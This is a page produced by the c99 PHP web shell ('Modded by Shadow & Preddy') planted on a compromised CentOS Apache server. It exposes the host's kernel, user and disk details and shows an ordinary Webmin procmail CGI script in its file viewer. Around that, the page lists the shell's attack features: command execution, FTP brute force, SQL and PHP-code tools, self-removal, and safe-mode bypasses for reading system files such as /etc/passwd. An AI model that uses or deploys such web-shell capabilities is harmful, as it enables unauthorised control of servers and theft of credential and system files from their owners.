!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/spam/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_procmail.cgi (1.75 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Change the procmail rule that delivers spam

require './spam-lib.pl';
&error_setup($text{'procmail_err'});
&ReadParse();
&set_config_file_in(\%in);
&can_use_check("procmail");

# Validate inputs
$type = undef;
if ($in{'to'} == 0) {
    $file = "/dev/null";
    }
elsif ($in{'to'} == 1) {
    $in{'mbox'} =~ /^\S+$/ || &error($text{'setup_efile'});
    $file = $in{'mbox'};
    }
elsif ($in{'to'} == 2) {
    $in{'maildir'} =~ /^\S+$/ || &error($text{'setup_emaildir'});
    $file = "$in{'maildir'}/";
    }
elsif ($in{'to'} == 3) {
    $in{'mhdir'} =~ /^\S+$/ || &error($text{'setup_emhdir'});
    $file = "$in{'mhdir'}/.";
    }
elsif ($in{'to'} == 4) {
    $file = "\$DEFAULT";
    }
elsif ($in{'to'} == 5) {
    $in{'email'} =~ /^\S+$/ || &error($text{'setup_eemail'});
    $file = $in{'email'};
    $type = "!";
    }

# Find the existing recipe
&foreign_require("procmail", "procmail-lib.pl");
@pmrcs = &get_procmailrc();
$pmrc = $pmrcs[$#pmrcs];
@recipes = &procmail::parse_procmail_file($pmrc);
$spamrec = &find_file_recipe(\@recipes);

&lock_file($pmrc);
if ($file) {
    if ($spamrec) {
        # Update the recipe
        $spamrec->{'action'} = $file;
        $spamrec->{'type'} = $type;
        &procmail::modify_recipe($spamrec);
        }
    else {
        # Add a new recipe
        $spamrec = { 'flags' => [ ],
                 'conds' => [ [ '', '^X-Spam-Status: Yes' ] ],
                 'type' => $type,
                 'action' => $file };
        &procmail::create_recipe($spamrec, $pmrc);
        }
    }
elsif ($spamrec) {
    # Remove the recipe, to fall back to default delivery
    &procmail::delete_recipe($spamrec);
    }
&unlock_file($pmrc);

if ($module_info{'usermin'} && $file ne "/dev/null") {
    # Remember spam mail file
    $userconfig{'spam_file'} = $file;
    &write_file("$user_module_config_directory/config", \%userconfig);
    }

# All done!
&webmin_log("procmail");
&redirect($redirect_url);


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--